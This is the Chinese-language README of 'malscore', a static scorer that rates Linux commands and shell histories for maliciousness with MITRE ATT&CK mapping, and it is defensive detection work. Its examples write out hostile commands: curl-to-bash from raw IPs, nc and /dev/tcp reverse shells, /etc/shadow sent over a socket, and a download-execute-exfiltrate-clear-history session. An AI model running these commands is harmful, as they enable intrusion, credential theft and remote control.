malscore 接收一条 Linux 命令行,或一段命令会话(例如 shell 历史记录),并返回一个 0–100 的恶意性评分,同时给出判定等级和 MITRE ATT&CK 映射:
command(s) → features → signals → score + MITRE mapping
它从不执行、展开或解析任何内容——它只读取文本(由 tests/test_safety.py 强制执行)。除 Python 标准库(3.8+)外,它没有任何依赖。
pip install malscore # provides the `malscore` command
从源代码检出:
pip install . # or run without installing, from the repo root:
python3 -m malscore "<command>"
# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"
# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -
# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -
# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high
# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain
# machine-readable
malscore --session history.txt --json
# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high
from malscore import Analyzer
a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict) # 67 high
print([h.id for h in r.hits]) # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques) # ['T1059.004', 'T1105', 'T1071.001']
r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits]) # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command]) # each command's own assessment
print(r.as_dict()) # JSON-ready
Analyzer(redact=True) 会在回显任何命令文本之前,对看起来像凭据的值进行脱敏处理;评分不受影响。
示例:
$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░ score 91/100 CRITICAL
tactics: exfiltration, credential-access, command-and-control
evidence:
[0.60] exfiltration Credential material is sent over the network
T1552 T1041
[0.55] credential-access The password hash database (/etc/shadow) is accessed
T1003.008
[0.35] exfiltration Data is sent over a raw socket
T1048
...
$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c
$ malscore --session history.txt
████████████████████████ score 99/100 CRITICAL
history.txt
tactics: execution, defense-evasion, exfiltration, command-and-control, collection
7 command(s), 6 flagged:
████████████░░░░░░░░░░░░ L2 49 medium curl -s -o /tmp/.x http://45.33.2.1/x
███████░░░░░░░░░░░░░░░░░ L3 30 low chmod +x /tmp/.x
███████░░░░░░░░░░░░░░░░░ L4 30 low /tmp/.x
██████░░░░░░░░░░░░░░░░░░ L5 25 low tar czf /tmp/etc.tgz /etc
████████░░░░░░░░░░░░░░░░ L6 35 medium scp /tmp/etc.tgz [email protected]:/srv/
████████████░░░░░░░░░░░░ L7 50 medium history -c
signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...
在会话文件中,每个非空行都是一条命令,按字面处理:不处理注释、行续接或 here-document。--batch 则不同:它独立地对 JSON 数据流中的每条命令评分,不进行跨命令分析。
| 分数 | 判定 | 含义 |
|---|---|---|
| 80–100 | critical | 形态极少合法(反弹 shell、磁盘擦除、uid‑0 账户) |
| 60–79 | high | 证据强;应尽快审查 |
| 35–59 | medium | 在多数场景下可疑(curl‑pipe‑shell、读取 shadow) |
| 15–34 | low | 组合出现时值得注意 |
| 0–14 | benign | 常规操作 |
这些区间和权重是手工调校的起点,并非训练得到的模型——分数中的每一点都可追溯到具名信号和 MITRE ATT&CK 技术。
特征。 命令会被词法分析(不执行任何内容),sudo/env/xargs 等包装器会被解开,替换和 -c 载荷会被深入分析,并计算确定性特征——下载链、触及的路径、持久化面、编码技巧,以及一个 tradecraft 组(malscore/tradecraft.py),它按形态识别特定的攻击者技术。
信号。 malscore/signals.py 是约 120 个具名信号的目录:对特征记录的谓词、(0, 1] 区间内的权重、MITRE 战术和技术 ID。权重可理解为“如果这是我们唯一知道的信息,它有多可能是敌意行为”。按 ATT&CK 战术划分,该目录涵盖:
/proc/self/fd 无文件执行;/etc/shadow 和私钥、云元数据、在配置文件中搜索凭据关键词、读取 .pgpass/.netrc/云凭据文件、环境与历史记录抓取、SSH-agent 劫持;sudo -u#-1 绕过、PATH 劫持;/proc 绑定挂载隐藏;DROP TABLE、大规模杀进程。通用敏感数据规则(卡号/SSN 模式、数据库转储、card、token、customer 等表名)默认启用;请根据自身数据调整 malscore/tradecraft.py 中的 SENSITIVE_TABLE_RE 词表。
聚合(noisy‑OR)。 权重按 1 − ∏(1 − wᵢ) 组合,因此许多弱信号会累积但不会溢出,而一个强信号即可占主导。共享同一战术的冗余信号会被抑制,因此触发三项持久化检查不会被计为三项独立发现。
会话。 会话中的每条命令按上述方式评分(其贡献上限为 0.9,因此一条噪声命令不会让长会话变为 critical),然后跨命令信号会寻找任何单条命令都无法呈现的模式——早期下载的文件稍后被执行、数据被暂存(转储、归档或压缩)后又被 scp 带走、权限提升后访问凭据、访问凭据后上传、暂存数据发送后被删除、下载加持久化、活动后清除历史/日志,或活动跨越三个或更多战术。
静态评分衡量的是一条命令本身在做什么。它无法知道 curl … | bash 在构建机上没问题,而在账本数据库上却是事故——那是相对于用户/主机基线的行为判断,正是下游异常模型(例如基于每用户历史的 Isolation Forest)的用途。静态评分器评为低风险的活动(例如分散在整个会话中的数据暂存)恰恰是异常层存在的意义——而一旦把命令放在一起评分,会话评分就能找回其中很大一部分。
预期的生产形态是混合式:
command / session
│
┌───────────────┼────────────────┐
▼ ▼ ▼
malscore behavioural deterministic
(static risk) anomaly model rules
└───────────────┼────────────────┘
▼
risk / triage
| 文件 | 作用 |
|---|---|
malscore/lexer.py | 非执行式 shell 词法分析器 |
malscore/context.py | 解析可执行文件、载荷、路径、URL、IP、端口 |
malscore/features.py | 通用特征组(网络、路径、持久化等) |
malscore/tradecraft.py | 技术特定特征(反向 shell、凭据搜寻等) |
malscore/signals.py | 加权、映射到 MITRE 的信号目录 |
malscore/scoring.py | 噪声或评分和跨命令会话分析 |
malscore/cli.py | 命令行界面(malscore / python -m malscore) |
malscore/tradecraft.py 中添加一个特征
(按 ATT&CK 战术分组),并从某个组函数中返回它,或者
添加到 malscore/features.py 中的通用组。malscore/signals.py 中添加一个 Signal,包含
权重、战术和技术 ID。无需更改其他文件。在信任绝对数值之前,请根据你自己的流量调整权重; 排名比精确分数更具可移植性。